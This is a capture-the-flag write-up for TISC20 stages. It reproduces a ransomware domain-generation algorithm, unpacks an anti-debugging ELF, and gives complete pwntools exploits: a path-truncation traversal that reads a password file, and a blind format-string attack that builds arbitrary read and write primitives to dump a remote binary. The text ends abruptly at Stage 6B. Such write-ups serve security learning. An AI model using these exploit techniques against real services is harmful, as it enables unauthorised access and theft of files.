SUBMISSION_TOKEN? exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG
Do you know the domain name at June 12, 2047, 3:49:48 AM Coordinated Universal Time that the ransomware connects to?

Now, we return to the main.QbznvaAnzrTrarengvbaNytbevguz function.

To start with, the function retrieves a JSON file from the https://worldtimeapi.org/api/timezone/Etc/UTC.json endpoint and decodes it.

Excerpt of main.QbznvaAnzrTrarengvbaNytbevguz showing the worldtimeapi.org retrieval

The endpoint returns something like so:

$ curl https://worldtimeapi.org/api/timezone/Etc/UTC.json
{"abbreviation":"UTC","client_ip":"116.88.10.43","datetime":"2020-08-11T20:13:04.411363+00:00","day_of_week":2,"day_of_year":224,"dst":false,"dst_from":null,"dst_offset":0,"dst_until":null,"raw_offset":0,"timezone":"Etc/UTC","unixtime":1597176784,"utc_datetime":"2020-08-11T20:13:04.411363+00:00","utc_offset":"+00:00","week_number":33}

To simplify reversing, the endpoint is modified to contact localhost instead.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz showing the localhost retrieval

Next, the current system time is retrieved using time.Now().

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz showing the system time retrieval

Then, the unixtime field of the JSON is accessed and retrieved.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz showing the unixtime retrieval

The binary then checks if the worldtimeapi.org results differ too greatly from the system time. If they differ too much, the seed is set to a random value.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz showing the time difference check

Next, depending on the previous result, the seed is set for the random function. If the system time is not fudged with, this is likely to be the value of the current epoch time as returned by the API.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz setting the random seed

Next, a random number math/rand.(*Rand).Intn(0x20) is generated. This determines the variable length of the final domain name.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz calculating the variable length

This variable length is added to another 0x20 value to comprise of the total base domain name length. The logic checks the terminating condition like so:

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz checking for the terminating condition

While the terminating condition has not been met, a random value (math/rand.(*Rand).Intn(0x539) % 0x24 is computed and used as an index into a character array (charset). This is appended to the resultant domain string.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz executing during the normal case

The charset is kod4y6tgirhzq1pva52jem3sfxw8u9b0ncl7.

If the terminating condition has been met, the root portion of the domain and the prefix is computed.

Excerpt of patched main.QbznvaAnzrTrarengvbaNytbevguz executing during the terminating condition

During this terminating condition, there are 9 different root possibilities that were enumerated during runtime experiments:

  1. .mixtape.moe
  2. .catbox.moe
  3. .tk
  4. .nyaa.net
  5. .gq
  6. .pomf.io
  7. .cf
  8. .ga
  9. .ml

A go program was written and built (go build test_random.go) to calculate the domain name from an unix epoch.

package main

import (
    "fmt"
    "bytes"
    "os"
    "strconv"
    "math/rand"
)

func main() {

    charset := "kod4y6tgirhzq1pva52jem3sfxw8u9b0ncl7"
    epoch, _ := strconv.Atoi(os.Args[1])
    seed := int64(epoch >> 0xf)

    rand.Seed(seed)

    lengthener := rand.Intn(0x20)

    buff := bytes.NewBufferString("")

    for i := 0; i < (0x20 + lengthener); i++ {
        current_num := rand.Intn(0x539 + i)
        current_num = current_num % 0x24
        //fmt.Println(current_num)
        buff.WriteByte(charset[current_num])
	}

    root_part := rand.Intn(0x7a69) % 9
    //fmt.Println(root_part)
    parts := [...]string{".mixtape.moe", ".catbox.moe", ".tk", ".nyaa.net", ".gq", ".pomf.io",
    ".cf", ".ga", ".ml"}
    //fmt.Println(root_part)

    buff.WriteString(parts[root_part])

    domain := buff.String()

    fmt.Println(domain)
}

Now, this was plugged into a python script to deal with the repeated questions from the server.

from pwn import *

from datetime import datetime
import pytz

#context.log_level = 'debug'

def get_answer(epoch):
    p = process("./test_random {}".format(epoch), shell=True)

    domain = p.recvall().strip()
    p.close()
    return domain

def main():
    p = remote("fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg", 31090)

    p.recvuntil("SUBMISSION_TOKEN?")
    p.sendline("exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG")


    while True:
        test_win = p.recvuntil(["Do you know the domain name at ", "Winner"])
        if b"Winner" in test_win:
            print(p.recvall(0.5))
            return
        timing = p.recvuntil("Coordinated Universal Time")
        timing = timing.replace(b" Coordinated Universal Time", b"")
        p.recvuntil("connects to?")

        parsed_d = datetime.strptime(timing.decode("utf-8"), "%B %d, %Y, %I:%M:%S %p")
        parsed_d = pytz.utc.localize(parsed_d)
        epoch = int(parsed_d.timestamp())
        answer = get_answer(epoch)
        p.sendline(answer)
        print(answer)


    p.interactive()


if __name__ == '__main__':
    main()

Running the script:

python answer.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 31090: Done
[+] Starting local process '/bin/sh': pid 18545
[+] Receiving all data: Done (49B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18545)
b'ctoi9uj4lt0grfqozyqh0smh6do1onaqf35vj8fg81b8c.cf'
[+] Starting local process '/bin/sh': pid 18546
[+] Receiving all data: Done (50B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18546)
b'evp92cfszcejb3ac0t5o0sn7zb3z2nf89zztftu1kxt7nb.ga'
[+] Starting local process '/bin/sh': pid 18547
[+] Receiving all data: Done (56B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18547)
b'nhiz9blh6n1tut9s4w5mbk3lyh6vur80cvf2k6ttee3u.catbox.moe'
[+] Starting local process '/bin/sh': pid 18548
[+] Receiving all data: Done (47B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18548)
b'2yuowtvj496xbdeu9omxrb86qfb4x3ttula7s.nyaa.net'
...
[+] Starting local process '/bin/sh': pid 18644
[+] Receiving all data: Done (40B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18644)
b'4zfb2qiyyvti9oikcqcanmivzdn5da2lyf76.ml'
[+] Receiving all data: Done (87B)
[*] Closed connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg port 31090
b' Winner Vegan Dinner...'

Output captured from the first successful run

Flag: None, was automatically submitted

Stage 5: Bulletin Board System

Stage 5 Description

The challenge file can be downloaded here.

Solution

We are given a corrupted ELF binary.

$ file bbs
bbs: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), too many section (65535)

Some work was done to prevent easy debugging with GDB:

$ gdb ./bbs
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
...
"/vagrant/ctfs/tisc/stage5/./bbs": not in executable format: File truncated
gef>  r
Starting program:
No executable file specified.
Use the "file" or "exec-file" command.
gef>

Checking the headers with readelf -h bbs showed that the headers were messed with:

$ readelf -h bbs
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400a60
  Start of program headers:          64 (bytes into file)
  Start of section headers:          65535 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         6
  Size of section headers:           64 (bytes)
  Number of section headers:         65535
  Section header string table index: 65535 (3539421402)
readelf: Error: Reading 4194240 bytes extends past end of file for section headers

This is similar to the issues encountered in this writeup. It appears that the ELF Screwer tool was used to corrupt the e_shoff, e_shnum, and e_shstrndx fields of the header.

To fix up the binary to get things into a debuggable state, the following script was executed:

#!/usr/bin/python3

from lepton import *
from struct import pack

def main():
    with open("../bbs", "rb") as f:
        elf_file = ELFFile(f)

    # overwrite fields values with 0x00 bytes
    elf_file.ELF_header.fields["e_shoff"] = pack("<Q", 0)
    elf_file.ELF_header.fields["e_shentsize"] = pack("<H", 0)
    elf_file.ELF_header.fields["e_shnum"] = pack("<H", 0)
    elf_file.ELF_header.fields["e_shstrndx"] = pack("<H", 0)

    # output to file
    binary = elf_file.ELF_header.to_bytes() + elf_file.file_buffer[64:]
    with open("../repaired_bbs", "wb") as f:
        f.write(binary)


if __name__=="__main__":
    main()

Now, the repaired binary was debuggable.

$ gdb ./repaired_bbs
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
...
Reading symbols from ./repaired_bbs...(no debugging symbols found)...done.
gef>  r
Starting program: /vagrant/ctfs/tisc/stage5/repaired_bbs
[Inferior 1 (process 15994) exited normally]
gef>

However, the binary did not execute as expected as it exits instantly. Checking strace verifies that there are anti-debugging measures.

$ strace -f ./repaired_bbs
execve("./repaired_bbs", ["./repaired_bbs"], 0x7ffdae1cba08 /* 27 vars */) = 0
brk(NULL)                               = 0x2185000
brk(0x21861c0)                          = 0x21861c0
arch_prctl(ARCH_SET_FS, 0x2185880)      = 0
uname({sysname="Linux", nodename="ubuntu-bionic", ...}) = 0
readlink("/proc/self/exe", "/vagrant/ctfs/tisc/stage5/repair"..., 4096) = 38
brk(0x21a71c0)                          = 0x21a71c0
brk(0x21a8000)                          = 0x21a8000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
exit_group(0)                           = ?
+++ exited with 0 +++

We can look for the ptrace call:

Looking for the ptrace call

And patch it out with NOPs:

Patching it out with nops

Now, we can debug it and execute it properly:

Executing the application properly in a debugger

If we provide a wrong username and password, it prompts us to try the guest account:

USERNAME: test
PASSWORD: test
Sorry, user accounts will only be available in the Beta.
Use account 'guest' with the password provided at the back of your BBS PRO CD Case!

The general flow of the patched main function looks like so:

Patched main function flow

It flows into a check_password function that does the corresponding logic. First, it checks if the password is at most 0x19 bytes:

Checking that the password is at most 0x19 bytes

Then, for each byte, it checks if it is an odd or even index. If it is an even index, it takes the bottom 4 bits of the current byte of the password and stores it. If it is an odd index, it takes the top 4 bits of the current byte of the password, merges it with the stored bits and saves the resultant byte as a piece of the final constructed password.

Odd and even case handling

Finally, it compares the constructed password with a static value stored in memory.

Comparing the constructed password with a static value

This static value is \x03\x13\x66\x23\x43\x66\x26\x16\x16\x23\x86\x36.

To generate a passing password, a script was written:

#!/usr/bin/python


def main():
    key = b"\x03\x13\x66\x23\x43\x66\x26\x16\x16\x23\x86\x36"
    password = b''
    for i in key:
        upper = i >> 4
        lower = i & 0xf
        complete = chr((lower << 4) + upper).encode("ascii") * 2
        password += complete
    print("Password: {}".format(password.decode("ascii")))


if __name__ == '__main__':
    main()

The password successfully logs in as a guest:

Successful log in

The message board feature has a number of features.

Message board logic

The vulnerable option that allows us to arbitrarily read files on the file system is the View Thread feature.

To analyse this, first we place the credentials in a file.

$ cat data
guest
0011ff2244ffbbaaaa22hhcc

Next, we run strace on the binary.

$ ((cat data; cat -) | strace ./repaired_bbs_patched )
execve("./repaired_bbs_patched", ["./repaired_bbs_patched"], 0x7fffd92a33d0 /* 27 vars */) = 0
brk(NULL)                               = 0x16d2000
brk(0x16d31c0)                          = 0x16d31c0
arch_prctl(ARCH_SET_FS, 0x16d2880)      = 0
uname({sysname="Linux", nodename="ubuntu-bionic", ...}) = 0
readlink("/proc/self/exe", "/vagrant/ctfs/tisc/stage5/repair"..., 4096) = 46
brk(0x16f41c0)                          = 0x16f41c0
brk(0x16f5000)                          = 0x16f5000
...
write(1, "SELECT: ", 8SELECT: )                 = 8
write(1, "\33[0m", 4)                   = 4
read(0, V
"V", 1)                         = 1
read(0, "\n", 1)                        = 1
write(1, "\33[0;33m", 7)                = 7
...
write(1, "THREAD: ", 8THREAD: )                 = 8
write(1, "\33[0m", 4)                   = 4
read(0, hello_word
"h", 1)                         = 1
read(0, "e", 1)                         = 1
read(0, "l", 1)                         = 1
read(0, "l", 1)                         = 1
read(0, "o", 1)                         = 1
read(0, "_", 1)                         = 1
read(0, "w", 1)                         = 1
read(0, "o", 1)                         = 1
read(0, "r", 1)                         = 1
read(0, "d", 1)                         = 1
read(0, "\n", 1)                        = 1
access("/home/bbs/threads/hello_word.thr", F_OK) = -1 ENOENT (No such file or directory)
write(1, "\33[2J\33[H", 7
)              = 7
write(1, "\33[1;31m", 7)                = 7
write(1, "Thread does not exist! Press ent"..., 50Thread does not exist! Press enter to continue...
) = 50
write(1, "\33[0m", 4)                   = 4
read(0,

We can control the file name but there is a postfix of .thr appended. This will not do with the requirement that we read from the ~/.passwd file.

However, we can bypass this. Attempting an extremely long filename shows that the path gets truncated.

...
access("/home/bbs/threads/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA", F_OK) = -1 ENOENT (No such file or directory)
...

Knowing this, we can combine the path truncation attack into everything we know so far.

The full exploit script:

#!/usr/bin/python

from pwn import *

#context.log_level = 'debug'

def main():
    #p = process('repaired_bbs_patched')
    p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 12123)

    # Username Prompt
    p.recvuntil("USERNAME: \33[0m")
    p.sendline("guest")

    # Password Prompt
    p.recvuntil("PASSWORD: \33[0m")
    p.sendline("0011ff2244ffbbaaaa22hhcc")

    # Path Truncation Attack
    length = 254
    pathing = b'/home/bbs/threads/'
    prefix = b'../'
    back_part = b'/.passwd'
    slashes = b'/' * (length - len(pathing) - len(back_part) - len(prefix))
    payload = prefix + slashes + back_part

    # SELECT prompt
    p.recvuntil("SELECT: \33[0m")
    p.sendline("V")

    # Send the path
    p.recvuntil("THREAD: \33[0m")
    p.sendline(payload)

    # Get the flag.
    p.recvuntil('\x1b[H')
    flag = p.recvline()
    log.success("Flag: %s" % flag.decode("utf-8"))


if __name__ == '__main__':
    main()

Running the script gives us the flag:

python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 12123: Done
[+] Flag: TISC20{m4ngl3d_b4ngl3d_wr4ngl3d}

Flag: TISC20{m4ngl3d_b4ngl3d_wr4ngl3d}

Stage 6A: Blind Boss Battle

Stage 6A Description

Solution

When connecting to the service, a format string vulnerability is apparent:

nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 42000
Welcome to Anoroc Riga Server

  Key-Value Storage Service

==============================

Number of users pwned today: 5908
Function Not Yet Implemented
AAAA
AAAA
%p %p %p %p %p %p %p
0x7fe685d08a03 (nil) 0x7fe685d08980 0x55f90fc8d0a0 (nil) 0x7fff2fc20690 0x55f90fc8a2e0

However, there is a caveat to exploiting this. The fourth parameter (0x55f90fc8d0a0 in the above run), appears to be an address in the .bss segment of the binary. The fourth parameter turns out to be where the format string is stored:

nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 42000
Welcome to Anoroc Riga Server

  Key-Value Storage Service

==============================

Number of users pwned today: 5908
Function Not Yet Implemented
XXXX %4$s YYYY
XXXX XXXX %4$s YYYY YYYY

This is a complication because controlling an arbitrary address for reading and writing is no longer as trivial as specifying it in the format string itself.

To achieve the goal of dumping the binary, we need a means of specifiying arbitrary addresses to read from. In an effort to help us do this, we can write a leaker script to dump out as much output as we can.

#!/usr/bin/python

from pwn import *

#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')


def run_leak(p, payload):
    prefix = b"XXXX"
    total = prefix + payload
    p.sendline(total)
    p.recvuntil(prefix)
    data = p.recv()
    return data


def leak_str(p, index):
    payload = ('AAAA' + '%' + str(index) + '$s %' + str(index) + '$p' + 'CCCC').encode('utf-8')
    r = run_leak(p, payload)
    string = r[4:-4]
    return string

def main():
    for i in range(100):
        p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)
        try:
            leaked_string = leak_str(p, i)
            first_part = leaked_string.split(b' 0x')[0][:8].ljust(8, b'\x00')
            address_maybe = u64(first_part)
            status = b"%s 0x%x %d" % (leaked_string, address_maybe, i)
            print(status)
        except:
            pass
        else:
            p.close()

    #p.interactive()

if __name__ == '__main__':
    main()

This gives us something like so:

b'%0$s %0$p 0x2430252073243025 0'
b'\n 0x7fb9d66f6a03 0xa 1'
b'(null) (nil) 0x2820296c6c756e28 2'
b'\x8b \xad\xfb 0x7fe571c13980 0xfbad208b 3'
b'XXXXAAAA%4$s %4$pCCCC 0x5633c36260a0 0x4141414158585858 4'
b'(null) (nil) 0x2820296c6c756e28 5'
b'\x01 0x7ffe5903f370 0x1 6'
b'\xf3\x0f\x1e\xfaAWL\x8d=\xa3* 0x56177ef4f2e0 0x8d4c5741fa1e0ff3 7'
b'(null) (nil) 0x2820296c6c756e28 8'
b'\x89\xc7\xe8\x06+\x02 0x7f11930d60b3 0x22b06e8c789 9'
b' 0x7f896fe78620 0x0 10'
b'\\\xefc\xbc\xfd\x7f 0x7ffdbc63d238 0x7ffdbc63ef5c 11'
b'\xf3\x0f\x1e\xfaU1\xf6H\x8d-\x92/ 0x5648c11c5100 0x48f63155fa1e0ff3 13'
b'\xf3\x0f\x1e\xfaAWL\x8d=\xa3* 0x55d52ec162e0 0x8d4c5741fa1e0ff3 14'
b'\xf3\x0f\x1e\xfa1\xedI\x89\xd1^H\x89\xe2H\x83\xe4\xf0PTL\x8d\x05F\x01 0x55b5aed8e1f0 0x8949ed31fa1e0ff3 16'
b'\x01 0x7ffd3f6b8330 0x1 17'
b'(null) (nil) 0x2820296c6c756e28 18'
b'(null) (nil) 0x2820296c6c756e28 19'
b'(null) (nil) 0x2820296c6c756e28 22'
b'(null) (nil) 0x2820296c6c756e28 23'
b'(null) (nil) 0x2820296c6c756e28 24'
b'\\o-\xf3\xfc\x7f 0x7ffcf32d4ef8 0x7ffcf32d6f5c 26'
b'a/\x8c8\xfe\x7f 0x7ffe388c13b8 0x7ffe388c2f61 27'
b' 0x7f4448906190 0x0 28'
b'(null) (nil) 0x2820296c6c756e28 29'
b'(null) (nil) 0x2820296c6c756e28 30'
b'\xf3\x0f\x1e\xfa1\xedI\x89\xd1^H\x89\xe2H\x83\xe4\xf0PTL\x8d\x05F\x01 0x5628217c51f0 0x8949ed31fa1e0ff3 31'
b'\x01 0x7ffc902d7a70 0x1 32'
b'(null) (nil) 0x2820296c6c756e28 33'
b'(null) (nil) 0x2820296c6c756e28 34'
b'\xf4\x90H\x8d=). 0x560a948af21e 0x2e293d8d4890f4 35'
b'\x1c 0x7fff0fb76318 0x1c 36'
b'pwn6 0x7ffdf4d72f5c 0x366e7770 39'
b'(null) (nil) 0x2820296c6c756e28 40'
b'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 0x7ffdd55a4f61 0x73752f3d48544150 41'
b'HOSTNAME=70e208321dbb 0x7ffd95f00fa3 0x454d414e54534f48 42'
b'user=pwn6 0x7fffabdc8fb9 0x6e77703d72657375 43'
b'HOME=/home/pwn6 0x7ffd44407fc3 0x6f682f3d454d4f48 44'
b'REMOTE_HOST=10.0.0.3 0x7ffea9b30fd3 0x485f45544f4d4552 45'
b'(null) (nil) 0x2820296c6c756e28 46'
b'\x7fELF\x02\x01\x01 0x7ffe8beb9000 0x10102464c457f 48'
b'\x06 0x5608a1023040 0x6 56'
b'\x7fELF\x02\x01\x01 0x7f224ba9c000 0x10102464c457f 62'
b'(null) (nil) 0x2820296c6c756e28 64'
b'\xf3\x0f\x1e\xfa1\xedI\x89\xd1^H\x89\xe2H\x83\xe4\xf0PTL\x8d\x05F\x01 0x55dec82f61f0 0x8949ed31fa1e0ff3 66'
b'(null) (nil) 0x2820296c6c756e28 76'
b'\xf5I\xa3n<\x86\xd6\x13\xbb\xa9$\xdf6\xd5\x86\xddx86_64 0x7ffe30e7adb9 0x13d6863c6ea349f5 78'
b'(null) (nil) 0x2820296c6c756e28 80'
b'/home/pwn6/pwn6 0x7ffed176ffe8 0x77702f656d6f682f 82'
b'x86_64 0x7ffd8dd10819 0x34365f363878 84'
...

This output does not seem immediately important so we can try another method. In the following script, the run_leak(p, b'%57001c%26$n') line can be updated to write the short value of 0xdead to an address at an index in the stack.

#!/usr/bin/python

from pwn import *

#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')


def run_leak(p, payload):
    prefix = b"XXXX"
    total = prefix + payload
    p.sendline(total)
    p.recvuntil(prefix)
    data = p.recv()
    return data


def leak_str(p, windex, index):
    payload = ('AAAA' + '%' + str(index) + '$p' + 'CCCC').encode('utf-8')
    r = run_leak(p, payload)
    string = r[4:-4]
    return string

def main():
    p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)
    baseline = []
    i = 17

    #run_leak(p, b'%57001c%17$n')
    #run_leak(p, b'%57001c%17$n')
    run_leak(p, b'%57001c%26$n')
    for j in range(1, 100):
        leaked_string = leak_str(p, i, j)
        if b'nil' in leaked_string or b'$' in leaked_string:
            pointer = 0
        else:
            pointer = int(leaked_string, 16)
        baseline.append(pointer)

    for i in range(len(baseline)):
        print("%-3d 0x%x" % (i+1, baseline[i]))
    #p.interactive()

if __name__ == '__main__':
    main()

When writing to index 26, we notice something interesting in the output:

[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
1   0x7f29b9cb3a03
2   0x0
3   0x7f29b9cb3980
4   0x5634bfab70a0
5   0x0
6   0x7ffe079258b0
7   0x5634bfab42e0
8   0x0
9   0x7f29b9aef0b3
10  0x7f29b9cec620
11  0x7ffe079258b8
12  0x100000000
13  0x5634bfab4100
14  0x5634bfab42e0
15  0xa02637a8a9d7550
16  0x5634bfab41f0
17  0x7ffe079258b0
18  0x0
19  0x0
20  0xf5fe6c5e253d7550
21  0xf45110276a537550
22  0x0
23  0x0
24  0x0
25  0x1
26  0x7ffe079258b8
27  0x7ffe079258c8
28  0x7f29b9cee190
29  0x0
30  0x0
31  0x5634bfab41f0
32  0x7ffe079258b0
33  0x0
34  0x0
35  0x5634bfab421e
36  0x7ffe079258a8
37  0x1c
38  0x1
39  0x7ffe0000dead
...

After the write to the address in index 26, the value of index 39 gets overwritten with 0xdead in the lowest 4 bytes. This gives us a primitive to control the lower 4 bytes of index 39. Since index 39 contains a stack address, this allows us to modify it to point at an arbitrary point within the immediate addressable stack.

A snippet implementing this primitive to point index 39 to any other index looks like so:

def adjust_bouncer(p, base, index, offset=0):
    # Adjust the value of index 39 to point at a particular index.
    address = base + (index * 8) + offset
    lower_address = address & 0xffff
    payload = b'%' + str(lower_address).encode('utf-8') + b'c%26$hn'
    p.sendline(payload)
    p.recv()

With this primitive, we now have the capability to write data to another index using index 39 as a ‘bouncer’. This is implemented like so:

def write_index(p, index_base, index, address, value):
    # Writes an arbitrary value to an index.
    if index == 39:
        # NOT ALLOWEEED
        return

    for i in range(0, 8, 2):
        current_portion = (address >> (i * 8)) & 0xffff
        adjust_bouncer(p, index_base, index, offset=i)
        write_single(p, current_portion)

Taking index 41 as an example, we can use the capability to write to it to control address to read from. This gives us our arbitrary read primitive.

def leak_data(p, index):
    payload = ('%' + str(index) + '$s').encode('utf-8')
    r = run_leak(p, payload)
    return r

def arbitrary_read(p, index_base, address):
    write_index(p, index_base, 41, address, 0)
    data = leak_data(p, 41)
    return data

Next, we need to find the base address of the ELF binary. As a guess, we can use the address of the format string in .bss and apply a mask. After some trial and error, it was discovered that the mask of 0xffffffffffffe000 grants the right address with a high probability. We can tell because the ELF header should start with ELF.

Putting everything together, the full exploit is as follows:

#!/usr/bin/python

from pwn import *
import pwnlib

#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')


def run_leak(p, payload):
    prefix = b"XXXX"
    postfix = b'ZZZZ'
    total = prefix + payload + postfix
    p.sendline(total)
    p.recvuntil(prefix)
    data = p.recvuntil(postfix)
    return data[:-4]

def adjust_bouncer(p, base, index, offset=0):
    # Adjust the value of index 39 to point at a particular index.
    address = base + (index * 8) + offset
    lower_address = address & 0xffff
    payload = b'%' + str(lower_address).encode('utf-8') + b'c%26$hn'
    p.sendline(payload)
    p.recv()

def leak_address(p, index):
    payload = ('%' + str(index) + '$p').encode('utf-8')
    r = run_leak(p, payload)
    address = int(r, 16)
    return address

def leak_data(p, index):
    payload = ('%' + str(index) + '$s').encode('utf-8')
    r = run_leak(p, payload)
    return r

def write_single(p, value):
    # Value must be a 2 bytes short
    if value > 0:
        payload = b'%' + str(value).encode('utf-8') + b'c%39$hn'
    else:
        payload = b'%39$hn'
    p.sendline(payload)
    p.recv()

def write_index(p, index_base, index, address, value):
    # Writes an arbitrary value to an index.
    if index == 39:
        # NOT ALLOWEEED
        return

    for i in range(0, 8, 2):
        current_portion = (address >> (i * 8)) & 0xffff
        adjust_bouncer(p, index_base, index, offset=i)
        write_single(p, current_portion)

def arbitrary_read(p, index_base, address):
    write_index(p, index_base, 41, address, 0)
    data = leak_data(p, 41)
    return data

def main():
    p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)

    # Index 17 points to Index 38
    # Figure out address of Index 38
    index_17_value = leak_address(p, 17)
    index_38_address = index_17_value
    log.info("Got address of index 38: 0x%x" % index_38_address)

    # Figure out index 0
    index_base = index_38_address - (38 * 8)
    log.info("RSP (index 0): 0x%x" % index_base)

    # Figure out the halfed address to index 39
    index_26_value = leak_address(p, 26)
    log.info("Got address of index 26 (index 39): 0x%x" % index_26_value)

    index_39_value = leak_address(p, 39)
    log.info("Got value of index 39: 0x%x" % index_39_value)

    # Leak address of the format string just to verify.
    index_4_value = leak_address(p, 4)
    log.info("Got address of index 4 (format string): 0x%x" % index_4_value)

    #write_index(p, index_base, 41, index_4_value, 0)
    #log.info("Systems Test: 0x%x" % leak_address(p, 41))
    #log.info("Verify that format string shows up: %s" % leak_data(p, 41).decode("utf-8"))

    # Leak address of possible .text.
    index_7_value = leak_address(p, 7)
    log.info("Got address of index 7 (format string): 0x%x" % index_7_value)
    elf_start = index_7_value & 0xffffffffffffe000
    log.info("ELF Start: 0x%x" % elf_start)

    def leak(address):
        return arbitrary_read(p, index_base, address)

    elf_header = leak(elf_start)
    log.info("ELF Start Bytes: %s" % elf_header)

    if b'\x7fELF\x02\x01\x01' != elf_header:
        log.info('Attempt failed.')
        return

    elf_contents = elf_header + b'\x00'
    offset = len(elf_contents)
    fd = open("stolen_elf", 'wb')
    fd.write(elf_contents)
    running_index = -1
    while True:
        try:
            next_content = leak(elf_start + offset) + b'\x00'
            elf_contents += next_content
            offset += len(next_content)
            #print(offset, next_content)
            fd.write(next_content)
            if b'TISC20' in next_content:
                flag = next_content.decode('utf-8')[:-1]
                log.success('Discovered flag: {}'.format(flag))
            if float(len(elf_contents))/100 > running_index + 1:
                log.info("Got {} bytes of ELF data so far.".format(len(elf_contents)))
                running_index += 1
        except:
            log.info("Got EOF, leaked all we could.")
            break

    log.info("Obtained {} bytes of ELF file.".format(len(elf_contents)))
    log.success("Flag: {}.".format(flag))

if __name__ == '__main__':
    main()

There is some unreliability with guessing that the true base of the ELF file is at the mask of 0xffffffffffffe000 of the leaked pointer and sometimes, the exploit fails with the following output. The script detects this and reports the failed attempt.

$ python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
[*] Got address of index 38: 0x7ffe7fb02fc0
[*] RSP (index 0): 0x7ffe7fb02e90
[*] Got address of index 26 (index 39): 0x7ffe7fb02fc8
[*] Got value of index 39: 0x7ffe7fb04f5c
[*] Got address of index 4 (format string): 0x5582989670a0
[*] Got address of index 7 (format string): 0x5582989642e0
[*] ELF Start: 0x558298964000
[*] ELF Start Bytes: b'\xf3\x0f\x1e\xfaH\x83\xec\x08H\x8b\x05\xd9/'
[*] Attempt failed.

On a good run, the script detects that the appropriate ELF header is identified and continues on to dump the ELF binary. This can take a very long time. During execution, it also looks for the flag and reports it.

$ python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
[*] Got address of index 38: 0x7ffca01db940
[*] RSP (index 0): 0x7ffca01db810
[*] Got address of index 26 (index 39): 0x7ffca01db948
[*] Got value of index 39: 0x7ffca01dcf5c
[*] Got address of index 4 (format string): 0x5557a54680a0
[*] Got address of index 7 (format string): 0x5557a54652e0
[*] ELF Start: 0x5557a5464000
[*] ELF Start Bytes: b'\x7fELF\x02\x01\x01'
[*] Got 9 bytes of ELF data so far.
[*] Got 101 bytes of ELF data so far.
[*] Got 201 bytes of ELF data so far.
[*] Got 301 bytes of ELF data so far.
[*] Got 402 bytes of ELF data so far.
[*] Got 501 bytes of ELF data so far.
[*] Got 602 bytes of ELF data so far.
[*] Got 701 bytes of ELF data so far.
[*] Got 820 bytes of ELF data so far.
[*] Got 902 bytes of ELF data so far.
[*] Got 1001 bytes of ELF data so far.
...
[*] Got 16401 bytes of ELF data so far.
[+] Discovered flag: TISC20{Ch3ckp01nt_1_349ufh98hd98iwqfkoieh938}
[*] Got 16503 bytes of ELF data so far.
...
[*] Got 20401 bytes of ELF data so far.
[*] Got EOF, leaked all we could.
[*] Obtained 20480 bytes of ELF file.
[+] Flag: TISC20{Ch3ckp01nt_1_349ufh98hd98iwqfkoieh938}.

Flag: TISC20{Ch3ckp01nt_1_349ufh98hd98iwqfkoieh938}

Stage 6B: You are the boss

Stage 6B Description

From the previous stage, we obtained a binary. This file can be downloaded here.

Solution

Given that we have the binary now, we can obtain the address of the GOT entries:

Obtaining the addresses of the GOT entries

From the previous section, we already managed to obtain the base address of the ELF binary. This is important because the binary has PIE enabled and is mapped at a random location in memory.

